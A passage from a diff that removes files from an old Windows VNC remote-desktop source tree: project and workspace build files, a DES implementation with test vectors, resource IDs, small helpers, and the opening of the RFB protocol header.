PreprocessorDefinitions="NDEBUG;_OMNITHREAD_DLL;__WIN32__;WIN32;_WINDOWS;_USRDLL;VNCHOOKS_EXPORTS;_WIN32_WINNT=0x400"
StringPooling="TRUE"
RuntimeLibrary="0"
EnableFunctionLevelLinking="TRUE"
UsePrecompiledHeader="2"
PrecompiledHeaderFile=".\..\Release/vnchooks.pch"
AssemblerListingLocation=".\..\Release/"
ObjectFile=".\..\Release/"
ProgramDataBaseFileName=".\..\Release/"
WarningLevel="3"
SuppressStartupBanner="TRUE"/>
<Tool
Name="VCCustomBuildTool"/>
<Tool
Name="VCLinkerTool"
OutputFile=".\..\Release/vnchooks.dll"
LinkIncremental="1"
SuppressStartupBanner="TRUE"
ModuleDefinitionFile=".\VNCHooks.def"
ProgramDatabaseFile=".\..\Release/vnchooks.pdb"
ImportLibrary=".\..\Release/vnchooks.lib"
TargetMachine="1"/>
<Tool
Name="VCMIDLTool"
PreprocessorDefinitions="NDEBUG"
MkTypLibCompatible="TRUE"
SuppressStartupBanner="TRUE"
TargetEnvironment="1"
TypeLibraryName=".\..\Release/vnchooks.tlb"
HeaderFileName=""/>
<Tool
Name="VCPostBuildEventTool"/>
<Tool
Name="VCPreBuildEventTool"/>
<Tool
Name="VCPreLinkEventTool"/>
<Tool
Name="VCResourceCompilerTool"
PreprocessorDefinitions="NDEBUG"
Culture="2057"/>
<Tool
Name="VCWebServiceProxyGeneratorTool"/>
<Tool
Name="VCXMLDataGeneratorTool"/>
<Tool
Name="VCWebDeploymentTool"/>
<Tool
Name="VCManagedWrapperGeneratorTool"/>
<Tool
Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
</Configuration>
</Configurations>
<References>
</References>
<Files>
<Filter
Name="Source Files"
Filter="cpp;c;cxx;rc;def;r;odl;idl;hpj;bat">
<File
RelativePath="VNCHooks.cpp">
<FileConfiguration
Name="Release|Win32">
<Tool
Name="VCCLCompilerTool"
Optimization="2"
PreprocessorDefinitions="NDEBUG;_OMNITHREAD_DLL;__WIN32__;WIN32;_WINDOWS;_MBCS;_USRDLL;VNCHOOKS_EXPORTS;_WIN32_WINNT=0x400;$(NoInherit)"/>
</FileConfiguration>
</File>
<File
RelativePath="VNCHooks.def">
</File>
<File
RelativePath="VNCHooks.rc">
</File>
</Filter>
<Filter
Name="Header Files"
Filter="h;hpp;hxx;hm;inl">
<File
RelativePath="resource.h">
</File>
<File
RelativePath="VNCHooks.h">
</File>
</Filter>
<Filter
Name="Resource Files"
Filter="ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
</Filter>
</Files>
<Globals>
</Globals>
</VisualStudioProject>

View File

@ -1,107 +0,0 @@
Microsoft Developer Studio Workspace File, Format Version 6.00
# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE!
###############################################################################
Project: "Xregion"=..\Xregion\Xregion.dsp - Package Owner=<4>
Package=<5>
{{{
}}}
Package=<4>
{{{
}}}
###############################################################################
Project: "rdr"=..\rdr\rdr.dsp - Package Owner=<4>
Package=<5>
{{{
}}}
Package=<4>
{{{
}}}
###############################################################################
Project: "vncdll"=.\vncdll\vncdll.dsp - Package Owner=<4>
Package=<5>
{{{
}}}
Package=<4>
{{{
Begin Project Dependency
Project_Dep_Name rdr
End Project Dependency
Begin Project Dependency
Project_Dep_Name Xregion
End Project Dependency
Begin Project Dependency
Project_Dep_Name zlib
End Project Dependency
}}}
###############################################################################
Project: "vnchooks"=.\vnchooks\vnchooks.dsp - Package Owner=<4>
Package=<5>
{{{
}}}
Package=<4>
{{{
}}}
###############################################################################
Project: "winvnc"=.\winvnc\winvnc.dsp - Package Owner=<4>
Package=<5>
{{{
}}}
Package=<4>
{{{
Begin Project Dependency
Project_Dep_Name rdr
End Project Dependency
Begin Project Dependency
Project_Dep_Name zlib
End Project Dependency
Begin Project Dependency
Project_Dep_Name Xregion
End Project Dependency
}}}
###############################################################################
Project: "zlib"=..\zlib\zlib.dsp - Package Owner=<4>
Package=<5>
{{{
}}}
Package=<4>
{{{
}}}
###############################################################################
Global:
Package=<5>
{{{
}}}
Package=<3>
{{{
}}}
###############################################################################

Binary file not shown.

View File

@ -1,22 +0,0 @@
// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved.
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// If the source code for the program is not available from the place from
// which you received this file, check http://www.realvnc.com/ or contact
// the authors on info@realvnc.com for information on obtaining it.
char buildtime[] = __DATE__ " " __TIME__;

View File

@ -1,440 +0,0 @@
/*
* This is D3DES (V5.09) by Richard Outerbridge with the double and
* triple-length support removed for use in VNC. Also the bytebit[] array
* has been reversed so that the most significant bit in each byte of the
* key is ignored, not the least significant.
*
* These changes are
* Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved.
*
* This software is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*/
/* D3DES (V5.09) -
*
* A portable, public domain, version of the Data Encryption Standard.
*
* Written with Symantec's THINK (Lightspeed) C by Richard Outerbridge.
* Thanks to: Dan Hoey for his excellent Initial and Inverse permutation
* code; Jim Gillogly & Phil Karn for the DES key schedule code; Dennis
* Ferguson, Eric Young and Dana How for comparing notes; and Ray Lau,
* for humouring me on.
*
* Copyright (c) 1988,1989,1990,1991,1992 by Richard Outerbridge.
* (GEnie : OUTER; CIS : [71755,204]) Graven Imagery, 1992.
*/
#include "d3des.h"
static void scrunch(unsigned char *, unsigned long *);
static void unscrun(unsigned long *, unsigned char *);
static void desfunc(unsigned long *, unsigned long *);
static void cookey(unsigned long *);
static unsigned long KnL[32] = { 0L };
static unsigned long KnR[32] = { 0L };
static unsigned long Kn3[32] = { 0L };
static unsigned char Df_Key[24] = {
0x01,0x23,0x45,0x67,0x89,0xab,0xcd,0xef,
0xfe,0xdc,0xba,0x98,0x76,0x54,0x32,0x10,
0x89,0xab,0xcd,0xef,0x01,0x23,0x45,0x67 };
static unsigned short bytebit[8] = {
01, 02, 04, 010, 020, 040, 0100, 0200 };
static unsigned long bigbyte[24] = {
0x800000L, 0x400000L, 0x200000L, 0x100000L,
0x80000L, 0x40000L, 0x20000L, 0x10000L,
0x8000L, 0x4000L, 0x2000L, 0x1000L,
0x800L, 0x400L, 0x200L, 0x100L,
0x80L, 0x40L, 0x20L, 0x10L,
0x8L, 0x4L, 0x2L, 0x1L };
/* Use the key schedule specified in the Standard (ANSI X3.92-1981). */
static unsigned char pc1[56] = {
56, 48, 40, 32, 24, 16, 8, 0, 57, 49, 41, 33, 25, 17,
9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35,
62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21,
13, 5, 60, 52, 44, 36, 28, 20, 12, 4, 27, 19, 11, 3 };
static unsigned char totrot[16] = {
1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28 };
static unsigned char pc2[48] = {
13, 16, 10, 23, 0, 4, 2, 27, 14, 5, 20, 9,
22, 18, 11, 3, 25, 7, 15, 6, 26, 19, 12, 1,
40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47,
43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31 };
void deskey(key, edf) /* Thanks to James Gillogly & Phil Karn! */
unsigned char *key;
int edf;
{
register int i, j, l, m, n;
unsigned char pc1m[56], pcr[56];
unsigned long kn[32];
for ( j = 0; j < 56; j++ ) {
l = pc1[j];
m = l & 07;
pc1m[j] = (key[l >> 3] & bytebit[m]) ? 1 : 0;
}
for( i = 0; i < 16; i++ ) {
if( edf == DE1 ) m = (15 - i) << 1;
else m = i << 1;
n = m + 1;
kn[m] = kn[n] = 0L;
for( j = 0; j < 28; j++ ) {
l = j + totrot[i];
if( l < 28 ) pcr[j] = pc1m[l];
else pcr[j] = pc1m[l - 28];
}
for( j = 28; j < 56; j++ ) {
l = j + totrot[i];
if( l < 56 ) pcr[j] = pc1m[l];
else pcr[j] = pc1m[l - 28];
}
for( j = 0; j < 24; j++ ) {
if( pcr[pc2[j]] ) kn[m] |= bigbyte[j];
if( pcr[pc2[j+24]] ) kn[n] |= bigbyte[j];
}
}
cookey(kn);
return;
}
static void cookey(raw1)
register unsigned long *raw1;
{
register unsigned long *cook, *raw0;
unsigned long dough[32];
register int i;
cook = dough;
for( i = 0; i < 16; i++, raw1++ ) {
raw0 = raw1++;
*cook = (*raw0 & 0x00fc0000L) << 6;
*cook |= (*raw0 & 0x00000fc0L) << 10;
*cook |= (*raw1 & 0x00fc0000L) >> 10;
*cook++ |= (*raw1 & 0x00000fc0L) >> 6;
*cook = (*raw0 & 0x0003f000L) << 12;
*cook |= (*raw0 & 0x0000003fL) << 16;
*cook |= (*raw1 & 0x0003f000L) >> 4;
*cook++ |= (*raw1 & 0x0000003fL);
}
usekey(dough);
return;
}
void cpkey(into)
register unsigned long *into;
{
register unsigned long *from, *endp;
from = KnL, endp = &KnL[32];
while( from < endp ) *into++ = *from++;
return;
}
void usekey(from)
register unsigned long *from;
{
register unsigned long *to, *endp;
to = KnL, endp = &KnL[32];
while( to < endp ) *to++ = *from++;
return;
}
void des(inblock, outblock)
unsigned char *inblock, *outblock;
{
unsigned long work[2];
scrunch(inblock, work);
desfunc(work, KnL);
unscrun(work, outblock);
return;
}
static void scrunch(outof, into)
register unsigned char *outof;
register unsigned long *into;
{
*into = (*outof++ & 0xffL) << 24;
*into |= (*outof++ & 0xffL) << 16;
*into |= (*outof++ & 0xffL) << 8;
*into++ |= (*outof++ & 0xffL);
*into = (*outof++ & 0xffL) << 24;
*into |= (*outof++ & 0xffL) << 16;
*into |= (*outof++ & 0xffL) << 8;
*into |= (*outof & 0xffL);
return;
}
static void unscrun(outof, into)
register unsigned long *outof;
register unsigned char *into;
{
*into++ = (*outof >> 24) & 0xffL;
*into++ = (*outof >> 16) & 0xffL;
*into++ = (*outof >> 8) & 0xffL;
*into++ = *outof++ & 0xffL;
*into++ = (*outof >> 24) & 0xffL;
*into++ = (*outof >> 16) & 0xffL;
*into++ = (*outof >> 8) & 0xffL;
*into = *outof & 0xffL;
return;
}
static unsigned long SP1[64] = {
0x01010400L, 0x00000000L, 0x00010000L, 0x01010404L,
0x01010004L, 0x00010404L, 0x00000004L, 0x00010000L,
0x00000400L, 0x01010400L, 0x01010404L, 0x00000400L,
0x01000404L, 0x01010004L, 0x01000000L, 0x00000004L,
0x00000404L, 0x01000400L, 0x01000400L, 0x00010400L,
0x00010400L, 0x01010000L, 0x01010000L, 0x01000404L,
0x00010004L, 0x01000004L, 0x01000004L, 0x00010004L,
0x00000000L, 0x00000404L, 0x00010404L, 0x01000000L,
0x00010000L, 0x01010404L, 0x00000004L, 0x01010000L,
0x01010400L, 0x01000000L, 0x01000000L, 0x00000400L,
0x01010004L, 0x00010000L, 0x00010400L, 0x01000004L,
0x00000400L, 0x00000004L, 0x01000404L, 0x00010404L,
0x01010404L, 0x00010004L, 0x01010000L, 0x01000404L,
0x01000004L, 0x00000404L, 0x00010404L, 0x01010400L,
0x00000404L, 0x01000400L, 0x01000400L, 0x00000000L,
0x00010004L, 0x00010400L, 0x00000000L, 0x01010004L };
static unsigned long SP2[64] = {
0x80108020L, 0x80008000L, 0x00008000L, 0x00108020L,
0x00100000L, 0x00000020L, 0x80100020L, 0x80008020L,
0x80000020L, 0x80108020L, 0x80108000L, 0x80000000L,
0x80008000L, 0x00100000L, 0x00000020L, 0x80100020L,
0x00108000L, 0x00100020L, 0x80008020L, 0x00000000L,
0x80000000L, 0x00008000L, 0x00108020L, 0x80100000L,
0x00100020L, 0x80000020L, 0x00000000L, 0x00108000L,
0x00008020L, 0x80108000L, 0x80100000L, 0x00008020L,
0x00000000L, 0x00108020L, 0x80100020L, 0x00100000L,
0x80008020L, 0x80100000L, 0x80108000L, 0x00008000L,
0x80100000L, 0x80008000L, 0x00000020L, 0x80108020L,
0x00108020L, 0x00000020L, 0x00008000L, 0x80000000L,
0x00008020L, 0x80108000L, 0x00100000L, 0x80000020L,
0x00100020L, 0x80008020L, 0x80000020L, 0x00100020L,
0x00108000L, 0x00000000L, 0x80008000L, 0x00008020L,
0x80000000L, 0x80100020L, 0x80108020L, 0x00108000L };
static unsigned long SP3[64] = {
0x00000208L, 0x08020200L, 0x00000000L, 0x08020008L,
0x08000200L, 0x00000000L, 0x00020208L, 0x08000200L,
0x00020008L, 0x08000008L, 0x08000008L, 0x00020000L,
0x08020208L, 0x00020008L, 0x08020000L, 0x00000208L,
0x08000000L, 0x00000008L, 0x08020200L, 0x00000200L,
0x00020200L, 0x08020000L, 0x08020008L, 0x00020208L,
0x08000208L, 0x00020200L, 0x00020000L, 0x08000208L,
0x00000008L, 0x08020208L, 0x00000200L, 0x08000000L,
0x08020200L, 0x08000000L, 0x00020008L, 0x00000208L,
0x00020000L, 0x08020200L, 0x08000200L, 0x00000000L,
0x00000200L, 0x00020008L, 0x08020208L, 0x08000200L,
0x08000008L, 0x00000200L, 0x00000000L, 0x08020008L,
0x08000208L, 0x00020000L, 0x08000000L, 0x08020208L,
0x00000008L, 0x00020208L, 0x00020200L, 0x08000008L,
0x08020000L, 0x08000208L, 0x00000208L, 0x08020000L,
0x00020208L, 0x00000008L, 0x08020008L, 0x00020200L };
static unsigned long SP4[64] = {
0x00802001L, 0x00002081L, 0x00002081L, 0x00000080L,
0x00802080L, 0x00800081L, 0x00800001L, 0x00002001L,
0x00000000L, 0x00802000L, 0x00802000L, 0x00802081L,
0x00000081L, 0x00000000L, 0x00800080L, 0x00800001L,
0x00000001L, 0x00002000L, 0x00800000L, 0x00802001L,
0x00000080L, 0x00800000L, 0x00002001L, 0x00002080L,
0x00800081L, 0x00000001L, 0x00002080L, 0x00800080L,
0x00002000L, 0x00802080L, 0x00802081L, 0x00000081L,
0x00800080L, 0x00800001L, 0x00802000L, 0x00802081L,
0x00000081L, 0x00000000L, 0x00000000L, 0x00802000L,
0x00002080L, 0x00800080L, 0x00800081L, 0x00000001L,
0x00802001L, 0x00002081L, 0x00002081L, 0x00000080L,
0x00802081L, 0x00000081L, 0x00000001L, 0x00002000L,
0x00800001L, 0x00002001L, 0x00802080L, 0x00800081L,
0x00002001L, 0x00002080L, 0x00800000L, 0x00802001L,
0x00000080L, 0x00800000L, 0x00002000L, 0x00802080L };
static unsigned long SP5[64] = {
0x00000100L, 0x02080100L, 0x02080000L, 0x42000100L,
0x00080000L, 0x00000100L, 0x40000000L, 0x02080000L,
0x40080100L, 0x00080000L, 0x02000100L, 0x40080100L,
0x42000100L, 0x42080000L, 0x00080100L, 0x40000000L,
0x02000000L, 0x40080000L, 0x40080000L, 0x00000000L,
0x40000100L, 0x42080100L, 0x42080100L, 0x02000100L,
0x42080000L, 0x40000100L, 0x00000000L, 0x42000000L,
0x02080100L, 0x02000000L, 0x42000000L, 0x00080100L,
0x00080000L, 0x42000100L, 0x00000100L, 0x02000000L,
0x40000000L, 0x02080000L, 0x42000100L, 0x40080100L,
0x02000100L, 0x40000000L, 0x42080000L, 0x02080100L,
0x40080100L, 0x00000100L, 0x02000000L, 0x42080000L,
0x42080100L, 0x00080100L, 0x42000000L, 0x42080100L,
0x02080000L, 0x00000000L, 0x40080000L, 0x42000000L,
0x00080100L, 0x02000100L, 0x40000100L, 0x00080000L,
0x00000000L, 0x40080000L, 0x02080100L, 0x40000100L };
static unsigned long SP6[64] = {
0x20000010L, 0x20400000L, 0x00004000L, 0x20404010L,
0x20400000L, 0x00000010L, 0x20404010L, 0x00400000L,
0x20004000L, 0x00404010L, 0x00400000L, 0x20000010L,
0x00400010L, 0x20004000L, 0x20000000L, 0x00004010L,
0x00000000L, 0x00400010L, 0x20004010L, 0x00004000L,
0x00404000L, 0x20004010L, 0x00000010L, 0x20400010L,
0x20400010L, 0x00000000L, 0x00404010L, 0x20404000L,
0x00004010L, 0x00404000L, 0x20404000L, 0x20000000L,
0x20004000L, 0x00000010L, 0x20400010L, 0x00404000L,
0x20404010L, 0x00400000L, 0x00004010L, 0x20000010L,
0x00400000L, 0x20004000L, 0x20000000L, 0x00004010L,
0x20000010L, 0x20404010L, 0x00404000L, 0x20400000L,
0x00404010L, 0x20404000L, 0x00000000L, 0x20400010L,
0x00000010L, 0x00004000L, 0x20400000L, 0x00404010L,
0x00004000L, 0x00400010L, 0x20004010L, 0x00000000L,
0x20404000L, 0x20000000L, 0x00400010L, 0x20004010L };
static unsigned long SP7[64] = {
0x00200000L, 0x04200002L, 0x04000802L, 0x00000000L,
0x00000800L, 0x04000802L, 0x00200802L, 0x04200800L,
0x04200802L, 0x00200000L, 0x00000000L, 0x04000002L,
0x00000002L, 0x04000000L, 0x04200002L, 0x00000802L,
0x04000800L, 0x00200802L, 0x00200002L, 0x04000800L,
0x04000002L, 0x04200000L, 0x04200800L, 0x00200002L,
0x04200000L, 0x00000800L, 0x00000802L, 0x04200802L,
0x00200800L, 0x00000002L, 0x04000000L, 0x00200800L,
0x04000000L, 0x00200800L, 0x00200000L, 0x04000802L,
0x04000802L, 0x04200002L, 0x04200002L, 0x00000002L,
0x00200002L, 0x04000000L, 0x04000800L, 0x00200000L,
0x04200800L, 0x00000802L, 0x00200802L, 0x04200800L,
0x00000802L, 0x04000002L, 0x04200802L, 0x04200000L,
0x00200800L, 0x00000000L, 0x00000002L, 0x04200802L,
0x00000000L, 0x00200802L, 0x04200000L, 0x00000800L,
0x04000002L, 0x04000800L, 0x00000800L, 0x00200002L };
static unsigned long SP8[64] = {
0x10001040L, 0x00001000L, 0x00040000L, 0x10041040L,
0x10000000L, 0x10001040L, 0x00000040L, 0x10000000L,
0x00040040L, 0x10040000L, 0x10041040L, 0x00041000L,
0x10041000L, 0x00041040L, 0x00001000L, 0x00000040L,
0x10040000L, 0x10000040L, 0x10001000L, 0x00001040L,
0x00041000L, 0x00040040L, 0x10040040L, 0x10041000L,
0x00001040L, 0x00000000L, 0x00000000L, 0x10040040L,
0x10000040L, 0x10001000L, 0x00041040L, 0x00040000L,
0x00041040L, 0x00040000L, 0x10041000L, 0x00001000L,
0x00000040L, 0x10040040L, 0x00001000L, 0x00041040L,
0x10001000L, 0x00000040L, 0x10000040L, 0x10040000L,
0x10040040L, 0x10000000L, 0x00040000L, 0x10001040L,
0x00000000L, 0x10041040L, 0x00040040L, 0x10000040L,
0x10040000L, 0x10001000L, 0x10001040L, 0x00000000L,
0x10041040L, 0x00041000L, 0x00041000L, 0x00001040L,
0x00001040L, 0x00040040L, 0x10000000L, 0x10041000L };
static void desfunc(block, keys)
register unsigned long *block, *keys;
{
register unsigned long fval, work, right, leftt;
register int round;
leftt = block[0];
right = block[1];
work = ((leftt >> 4) ^ right) & 0x0f0f0f0fL;
right ^= work;
leftt ^= (work << 4);
work = ((leftt >> 16) ^ right) & 0x0000ffffL;
right ^= work;
leftt ^= (work << 16);
work = ((right >> 2) ^ leftt) & 0x33333333L;
leftt ^= work;
right ^= (work << 2);
work = ((right >> 8) ^ leftt) & 0x00ff00ffL;
leftt ^= work;
right ^= (work << 8);
right = ((right << 1) | ((right >> 31) & 1L)) & 0xffffffffL;
work = (leftt ^ right) & 0xaaaaaaaaL;
leftt ^= work;
right ^= work;
leftt = ((leftt << 1) | ((leftt >> 31) & 1L)) & 0xffffffffL;
for( round = 0; round < 8; round++ ) {
work = (right << 28) | (right >> 4);
work ^= *keys++;
fval = SP7[ work & 0x3fL];
fval |= SP5[(work >> 8) & 0x3fL];
fval |= SP3[(work >> 16) & 0x3fL];
fval |= SP1[(work >> 24) & 0x3fL];
work = right ^ *keys++;
fval |= SP8[ work & 0x3fL];
fval |= SP6[(work >> 8) & 0x3fL];
fval |= SP4[(work >> 16) & 0x3fL];
fval |= SP2[(work >> 24) & 0x3fL];
leftt ^= fval;
work = (leftt << 28) | (leftt >> 4);
work ^= *keys++;
fval = SP7[ work & 0x3fL];
fval |= SP5[(work >> 8) & 0x3fL];
fval |= SP3[(work >> 16) & 0x3fL];
fval |= SP1[(work >> 24) & 0x3fL];
work = leftt ^ *keys++;
fval |= SP8[ work & 0x3fL];
fval |= SP6[(work >> 8) & 0x3fL];
fval |= SP4[(work >> 16) & 0x3fL];
fval |= SP2[(work >> 24) & 0x3fL];
right ^= fval;
}
right = (right << 31) | (right >> 1);
work = (leftt ^ right) & 0xaaaaaaaaL;
leftt ^= work;
right ^= work;
leftt = (leftt << 31) | (leftt >> 1);
work = ((leftt >> 8) ^ right) & 0x00ff00ffL;
right ^= work;
leftt ^= (work << 8);
work = ((leftt >> 2) ^ right) & 0x33333333L;
right ^= work;
leftt ^= (work << 2);
work = ((right >> 16) ^ leftt) & 0x0000ffffL;
leftt ^= work;
right ^= (work << 16);
work = ((right >> 4) ^ leftt) & 0x0f0f0f0fL;
leftt ^= work;
right ^= (work << 4);
*block++ = right;
*block = leftt;
return;
}
/* Validation sets:
*
* Single-length key, single-length plaintext -
* Key : 0123 4567 89ab cdef
* Plain : 0123 4567 89ab cde7
* Cipher : c957 4425 6a5e d31d
*
* Double-length key, single-length plaintext -
* Key : 0123 4567 89ab cdef fedc ba98 7654 3210
* Plain : 0123 4567 89ab cde7
* Cipher : 7f1d 0a77 826b 8aff
*
* Double-length key, double-length plaintext -
* Key : 0123 4567 89ab cdef fedc ba98 7654 3210
* Plain : 0123 4567 89ab cdef 0123 4567 89ab cdff
* Cipher : 27a0 8440 406a df60 278f 47cf 42d6 15d7
*
* Triple-length key, single-length plaintext -
* Key : 0123 4567 89ab cdef fedc ba98 7654 3210 89ab cdef 0123 4567
* Plain : 0123 4567 89ab cde7
* Cipher : de0b 7c06 ae5e 0ed5
*
* Triple-length key, double-length plaintext -
* Key : 0123 4567 89ab cdef fedc ba98 7654 3210 89ab cdef 0123 4567
* Plain : 0123 4567 89ab cdef 0123 4567 89ab cdff
* Cipher : ad0d 1b30 ac17 cf07 0ed1 1c63 81e4 4de5
*
* d3des V5.0a rwo 9208.07 18:44 Graven Imagery
**********************************************************************/

View File

@ -1,51 +0,0 @@
/*
* This is D3DES (V5.09) by Richard Outerbridge with the double and
* triple-length support removed for use in VNC.
*
* These changes are
* Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved.
*
* This software is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*/
/* d3des.h -
*
* Headers and defines for d3des.c
* Graven Imagery, 1992.
*
* Copyright (c) 1988,1989,1990,1991,1992 by Richard Outerbridge
* (GEnie : OUTER; CIS : [71755,204])
*/
#define EN0 0 /* MODE == encrypt */
#define DE1 1 /* MODE == decrypt */
extern void deskey(unsigned char *, int);
/* hexkey[8] MODE
* Sets the internal key register according to the hexadecimal
* key contained in the 8 bytes of hexkey, according to the DES,
* for encryption or decryption according to MODE.
*/
extern void usekey(unsigned long *);
/* cookedkey[32]
* Loads the internal key register with the data in cookedkey.
*/
extern void cpkey(unsigned long *);
/* cookedkey[32]
* Copies the contents of the internal key register into the storage
* located at &cookedkey[0].
*/
extern void des(unsigned char *, unsigned char *);
/* from[8] to[8]
* Encrypts/Decrypts (according to the key currently loaded in the
* internal key register) one block of eight bytes at address 'from'
* into the block at address 'to'. They can be the same.
*/
/* d3des.h V5.09 rwo 9208.04 15:06 Graven Imagery
********************************************************************/

File diff suppressed because it is too large Load Diff

View File

@ -1,48 +0,0 @@
// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved.
//
// This file is part of the VNC system.
//
// The VNC system is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// If the source code for the VNC system is not available from the place
// whence you received this file, check http://www.uk.research.att.com/vnc or contact
// the authors on vnc@uk.research.att.com for information on obtaining it.
// Routines to calculate the maximum and minimum of two integers
#if !defined(MINMAX_INCLUDED)
#define MINMAX_INCLUDED
#pragma once
// Some routines used internally to minimise and maximise integers
static inline int Max(int x, int y)
{
if (x>y)
return x;
else
return y;
}
static inline int Min(int x, int y)
{
if (x>y)
return y;
else
return x;
}
#endif

View File

@ -1,90 +0,0 @@
//{{NO_DEPENDENCIES}}
// Microsoft Developer Studio generated include file.
// Used by winvnc.rc
//
#define IDI_WINVNC 102
#define IDD_PROPERTIES 102
#define IDR_TRAYMENU 104
#define IDR_VNCVIEWER_JAR 118
#define IDR_AUTHPANEL_CLASS 119
#define IDR_BLOCKCIPHER_CLASS 120
#define IDR_CIPHER_CLASS 121
#define IDR_CLIPBOARDFRAME_CLASS 122
#define IDR_CRYPTOUTILS_CLASS 123
#define IDR_IDEACIPHER_CLASS 124
#define IDR_OPTIONSFRAME_CLASS 125
#define IDR_RFBPROTO_CLASS 126
#define IDR_VNCCANVAS_CLASS 127
#define IDR_VNCVIEWER_CLASS 128
#define IDR_ANIMMEMIMAGESRC_CLASS 129
#define IDD_ABOUT 131
#define IDB_VNCLOGO 132
#define IDR_DESCIPHER_CLASS 133
#define IDI_FLASH 134
#define IDD_OUTGOING_CONN 135
#define IDD_ACCEPT_CONN 136
#define IDC_CONNECT_BORDER 1003
#define IDC_CONNECT_SOCK 1004
#define IDC_CONNECT_CORBA 1005
#define IDC_PORTNO_LABEL 1006
#define IDC_CONNECT_HTTP 1006
#define IDC_PASSWORD_LABEL 1007
#define IDC_PORTNO 1008
#define IDC_PASSWORD 1009
#define IDC_UPDATE_BORDER 1010
#define IDC_POLL_FULLSCREEN 1011
#define IDC_CONSOLE_ONLY 1012
#define IDC_POLL_FOREGROUND 1013
#define IDC_POLL_UNDER_CURSOR 1014
#define IDC_ONEVENT_ONLY 1015
#define IDC_VNCLOGO 1016
#define IDC_CONNSETTINGS_BORDER 1016
#define IDC_VERSION 1017
#define IDC_DISPLAY_NO_LABEL 1017
#define IDC_NAME 1018
#define IDC_EMAIL 1019
#define IDC_BUILDTEXT 1019
#define IDC_VNC 1020
#define IDC_ATT 1021
#define IDC_BUILDTIME 1021
#define IDC_WWW 1022
#define IDC_COPYRIGHT 1023
#define IDC_DISABLE_INPUTS 1024
#define IDC_APPLY 1025
#define IDC_PORTNO_AUTO 1026
#define IDC_HOSTNAME_EDIT 1027
#define IDC_DISABLE_LOCAL_INPUTS 1027
#define IDC_HOSTNAME_STATIC 1028
#define IDC_REMOVE_WALLPAPER 1028
#define IDC_NOTE_STATIC 1029
#define IDACCEPT 1030
#define IDREJECT 1031
#define IDC_STATIC_TEXT1 1032
#define IDC_ACCEPT_IP 1033
#define IDC_STATIC_TEXT 1034
#define IDC_ACCEPT_TIMEOUT 1035
#define IDC_TRADEMARK 1036
#define IDC_AUTO_DISPLAY_NO 1037
#define IDC_MANUAL_DISPLAY_NO 1038
#define IDC_DISPLAY_NUMBER 1039
#define IDC_LOCKSETTINGS 1040
#define IDC_LOCKSETTING_NOTHING 1041
#define IDC_LOCKSETTING_LOGOFF 1042
#define IDC_LOCKSETTING_LOCK 1043
#define ID_PROPERTIES 40001
#define ID_CLOSE 40002
#define ID_KILLCLIENTS 40003
#define ID_ABOUT 40004
#define ID_OUTGOING_CONN 40005
#define ID_DEFAULT_PROPERTIES 40006
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 137
#define _APS_NEXT_COMMAND_VALUE 40007
#define _APS_NEXT_CONTROL_VALUE 1046
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif

View File

@ -1,84 +0,0 @@
// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved.
// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved.
//
// This file is part of the VNC system.
//
// The VNC system is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// If the source code for the VNC system is not available from the place
// whence you received this file, check http://www.uk.research.att.com/vnc or contact
// the authors on vnc@uk.research.att.com for information on obtaining it.
// rfb.h
// This includes the rfb spec header, the port numbers,
// the CARD type definitions and various useful macros.
//
#ifndef RFB_H__
#define RFB_H__
// Define the CARD* types as used in X11/Xmd.h
typedef unsigned long CARD32;
typedef unsigned short CARD16;
typedef short INT16;
typedef unsigned char CARD8;
// Define the port number offsets
#define FLASH_PORT_OFFSET 5400
#define INCOMING_PORT_OFFSET 5500
#define HTTP_PORT_OFFSET 5800 // we don't use this in Venice
#define RFB_PORT_OFFSET 5900
#define PORT_TO_DISPLAY(p) ( (p) - RFB_PORT_OFFSET )
